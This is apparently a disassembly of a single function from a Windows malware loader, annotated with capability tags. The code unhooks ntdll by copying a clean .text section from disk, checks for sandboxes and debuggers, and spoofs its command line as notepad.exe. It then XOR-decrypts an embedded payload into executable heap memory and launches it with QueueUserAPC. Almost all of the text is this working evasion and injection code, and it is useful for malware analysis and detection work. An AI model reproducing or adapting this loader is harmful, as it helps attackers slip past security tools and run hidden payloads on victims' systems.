Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x7e8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x750], xmm6
mov dword [rbp + 0x790], ecx
mov qword [rbp + 0x798], rdx
call fcn.140002890
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6e8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6e0], rax
mov ecx, 0x780
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6d8], rax
mov dword [rbp + 0x74c], 0
jmp 0x14000150b
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x74c], 1
cmp dword [rbp + 0x74c], 0xef
jle 0x1400014cd
mov dword [rbp + 0x74c], 0
jmp 0x1400015a8
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x74c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x74c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6d8]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003b70
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x74c], 1
cmp dword [rbp + 0x74c], 0xef
jle 0x140001526
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x6d0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
jne 0x14000163c
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
cmp qword [rbp + 0x740], 0
je 0x140001a65
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x550]
mov rax, qword [rbp + 0x6d0]
mov r10, qword [rbp + 0x740]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x550]
mov qword [rbp + 0x6c8], rax
mov ecx, 0x558
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x6c0], rax
mov dword [rbp + 0x73c], 0
jmp 0x1400016e3
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x73c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0xaa
jle 0x1400016a5
mov dword [rbp + 0x73c], 0
jmp 0x140001780
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x73c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x6c0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x73c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x6c0]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003b70
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x73c], 1
cmp dword [rbp + 0x73c], 0xaa
jle 0x1400016fe
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x6c8]
add rax, rdx
mov qword [rbp + 0x698], rax
mov word [rbp + 0x73a], 0
jmp 0x140001a4d
mov rax, qword [rbp + 0x698]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x698]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x73a]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x690], rax
mov dword [rbp + 0x734], 0
jmp 0x14000193d
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff8d3dcb09
shr rdx, 0x20
add edx, eax
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x68c], edx
mov edx, dword [rbp + 0x68c]
imul edx, edx, 0x1d
sub eax, edx
mov dword [rbp + 0x68c], eax
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movq rax, xmm0
mov edx, dword [rbp + 0x68c]
movq xmm0, rax
call fcn.140003ba0
movq rax, xmm0
mov qword [rbp + 0x680], rax
add dword [rbp + 0x734], 1
cmp dword [rbp + 0x734], 0x283
jle 0x1400018c6
mov rax, qword [rbp + 0x690]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a3c
mov dword [rbp + 0x518], 0
mov rax, qword [rbp + 0x690]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x690]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x518]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x690]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x690]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x6a8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x690]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6c8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x518]
mov rax, qword [rbp + 0x690]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x690]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x6c8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x518]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x73a]
add eax, 1
mov word [rbp + 0x73a], ax
mov rax, qword [rbp + 0x698]
movzx eax, word [rax + 6]
cmp word [rbp + 0x73a], ax
jb 0x14000187e
mov ecx, 0xa18
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x72c], 0
mov dword [rbp + 0x728], 0
mov dword [rbp + 0x730], 0
jmp 0x140001ae3
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x730]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x678]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x14f8b589
shr rdx, 0x20
sar edx, 0xd
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x186a0
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x730], 1
cmp dword [rbp + 0x730], 0x285
jle 0x140001a96
mov dword [rbp + 0x730], 0
mov dword [rbp + 0x730], 0
jmp 0x140001b62
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
je 0x140001b31
add dword [rbp + 0x72c], 1
jmp 0x140001b5b
mov eax, dword [rbp + 0x730]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov eax, dword [rax]
and eax, 1
test eax, eax
jne 0x140001b5b
add dword [rbp + 0x728], 1
add dword [rbp + 0x730], 1
cmp dword [rbp + 0x730], 0x285
jle 0x140001b05
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x51c], 0
mov rax, qword [rbp + 0x6e8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x520]
lea rax, [rbp + 0x51c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x670]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x528]
add rax, 0x3c
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x668]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x668]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov rax, qword [rbp + 0x660]
mov ecx, 0
call rax
mov dword [rbp + 0x65c], eax
cmp dword [rbp + 0x65c], 0xffffffff
je 0x1400027c3
mov dword [rbp + 0x658], 0x33f
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x650], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x648], rax
mov rax, qword [rbp + 0x648]
call rax
mov dword [rbp + 0x644], eax
mov eax, dword [rbp + 0x658]
mov r8, qword [rbp + 0x650]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x648]
call rax
mov dword [rbp + 0x640], eax
mov eax, dword [rbp + 0x640]
sub eax, dword [rbp + 0x644]
cmp eax, 0x30d
jbe 0x1400027c3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x638], rax
cmp qword [rbp + 0x638], 0
je 0x140001d74
mov rax, qword [rbp + 0x638]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x630], rax
mov rax, qword [rbp + 0x630]
mov ecx, 0
call rax
mov dword [rbp + 0x724], eax
cmp dword [rbp + 0x724], 0xffffffff
je 0x1400027c3
mov ecx, 0x703
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x703
jne 0x1400027c3
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov dword [rbp + 0x514], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x628], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x514]
mov r8, qword [rbp + 0x628]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x514]
cmp eax, 1
je 0x1400027c3
mov dword [rbp + 0x510], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x620], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x510]
mov r8, qword [rbp + 0x620]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x510]
cmp eax, 1
je 0x1400027c3
mov dword [rbp + 0x50c], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x618], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x50c]
mov r8, qword [rbp + 0x618]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x50c]
cmp eax, 1
je 0x1400027c3
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x610], rax
cmp qword [rbp + 0x610], 0
jne 0x1400027c3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x608], rax
cmp qword [rbp + 0x608], 0
je 0x140001f78
mov rax, qword [rbp + 0x608]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x600], rax
mov rax, qword [rbp + 0x600]
mov ecx, 0
call rax
mov dword [rbp + 0x720], eax
cmp dword [rbp + 0x720], 0xffffffff
je 0x1400027c3
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x5f8], rax
cmp qword [rbp + 0x5f8], 0
je 0x140001fde
mov rax, qword [rbp + 0x5f8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5f0], rax
mov rax, qword [rbp + 0x5f0]
mov ecx, 0
call rax
mov dword [rbp + 0x71c], eax
cmp dword [rbp + 0x71c], 0xffffffff
je 0x1400027c3
lea rax, [rbp + 0xa0]
lea rdx, [0x140006128]
mov ecx, 0x8c
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov rax, qword [rbp + 0x6e0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e8], rax
mov rax, qword [rbp + 0x6e0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5e0], rax
mov rax, qword [rbp + 0x5e8]
mov r8d, 0
mov edx, 0x462
mov ecx, 0x40000
call rax
mov qword [rbp + 0x5d8], rax
mov rax, qword [rbp + 0x5d8]
mov r9, qword [rbp + 0x5e0]
mov r8d, 0x462
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x5d0], rax
mov rax, qword [rbp + 0x6e8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5c8], rax
lea rdx, [rbp + 0xa0]
mov rax, qword [rbp + 0x5d0]
mov r9, qword [rbp + 0x5c8]
mov r8d, 0x462
mov rcx, rax
call r9
mov ecx, 0xf58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5c0], rax
mov ecx, 0xf58
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x5b8], rax
mov dword [rbp + 0x718], 0
jmp 0x1400021a5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x718]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5c0]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x718], 1
cmp dword [rbp + 0x718], 0x1ea
jle 0x14000211b
mov dword [rbp + 0x718], 0
jmp 0x140002213
mov eax, dword [rbp + 0x718]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x5c0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x718]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x5b8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.1400039c0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x718], 1
cmp dword [rbp + 0x718], 0x1ea
jle 0x1400021c1
mov dword [rbp + 0x714], 0
mov dword [rbp + 0x710], 0
mov dword [rbp + 0x70c], 0
movabs rax, 0xc613cad262b238c0
movabs rdx, 0xe8b8191afb703abd
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xa9623c0f744c8f8
movabs rdx, 0x2f0f4d94c77a5cee
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x26f60240e531c09
movabs rdx, 0xef03db880c33885e
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x7077dba7685b641c
movabs rdx, 0xa534583a3fcbd125
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x6ca7866eb1286d46
movabs rdx, 0x2dc472a318e8d504
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
mov word [rbp + 0x90], 0xb3
movabs rax, 0xa98147ca34ce168f
movabs rdx, 0x9c9cedf297515c0c
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x1c01a81b9bf4917
movabs rdx, 0x65ad799d8e5f024f
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0xf463b74dda92fcb
movabs rdx, 0x7c30f3f9377c6e88
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
mov dword [rbp + 0x2f], 0x9e3a7c
mov dword [rbp + 0x708], 0x1ae
jmp 0x140002346
sub dword [rbp + 0x708], 1
cmp dword [rbp + 0x708], 0
jg 0x14000233f
jmp 0x14000259e
mov eax, dword [rbp + 0x714]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x710]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x714]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x710], 0x50
jne 0x140002391
mov dword [rbp + 0x710], 0
jmp 0x1400023ef
mov dword [rbp + 0x704], 0xffffffff
add dword [rbp + 0x704], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x1d3
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c70
movq rax, xmm0
mov qword [rbp + 0x588], rax
cmp dword [rbp + 0x704], 0x15d
jle 0x14000239b
add dword [rbp + 0x710], 1
mov ecx, 0xb3c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x580], rax
mov dword [rbp + 0x6fc], 0
mov dword [rbp + 0x6f8], 0
mov dword [rbp + 0x700], 0
jmp 0x14000246c
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x700]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x580]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x700], 1
cmp dword [rbp + 0x700], 0x2ce
jle 0x140002420
mov dword [rbp + 0x700], 0
jmp 0x1400024ad
mov eax, dword [rbp + 0x700]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x580]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x6fc], eax
add dword [rbp + 0x700], 1
cmp dword [rbp + 0x700], 0x2ce
jle 0x140002484
mov dword [rbp + 0x700], 0
jmp 0x140002535
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x6f8]
mov eax, dword [rbp + 0x700]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x580]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x574]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x140006598]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003e40
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x6f8], eax
add dword [rbp + 0x700], 1
cmp dword [rbp + 0x700], 0x2ce
jle 0x1400024c5
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x6f8]
movss xmm1, dword [0x1400065a0]
divss xmm0, xmm1
movss dword [rbp + 0x57c], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x57c]
movq rax, xmm3
movq xmm0, rax
call fcn.140003880
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x578], xmm0
mov rax, qword [rbp + 0x580]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x714], 1
mov eax, dword [rbp + 0x714]
cmp eax, 0x31
jbe 0x140002354
mov dword [rbp + 0x714], 0
jmp 0x140002676
mov eax, dword [rbp + 0x714]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x70c]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x714]
movsxd rdx, eax
mov rax, qword [rbp + 0x5d0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x70c], 0x31
jne 0x140002668
mov dword [rbp + 0x6f4], 0
jmp 0x140002650
call sub.msvcrt.dll_rand
imul eax, eax, 0x8c
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003c70
movq rax, xmm0
mov qword [rbp + 0x590], rax
add dword [rbp + 0x6f4], 1
cmp dword [rbp + 0x6f4], 0x2bf
jle 0x14000260f
mov dword [rbp + 0x70c], 0
jmp 0x14000266f
add dword [rbp + 0x70c], 1
add dword [rbp + 0x714], 1
cmp dword [rbp + 0x714], 0x461
jle 0x1400025bc
mov rax, qword [rbp + 0x5d0]
mov qword [rbp + 0x5b0], rax
mov rax, qword [rbp + 0x6e0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a8], rax
mov rax, qword [rbp + 0x6e0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5a0], rax
mov dword [rbp + 0x6f0], 0xffffffff
mov ecx, 0x18f0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x598], rax
add dword [rbp + 0x6f0], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x6f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x598]
add rax, rdx
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x6f0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x598]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x6f0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x598]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x6f0], 0x31c
jle 0x1400026f1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x5b0]
mov r9, qword [rbp + 0x5a8]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x5a0]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x750]
add rsp, 0x7e8
pop rbx
pop rsi
pop rdi
pop rbp
ret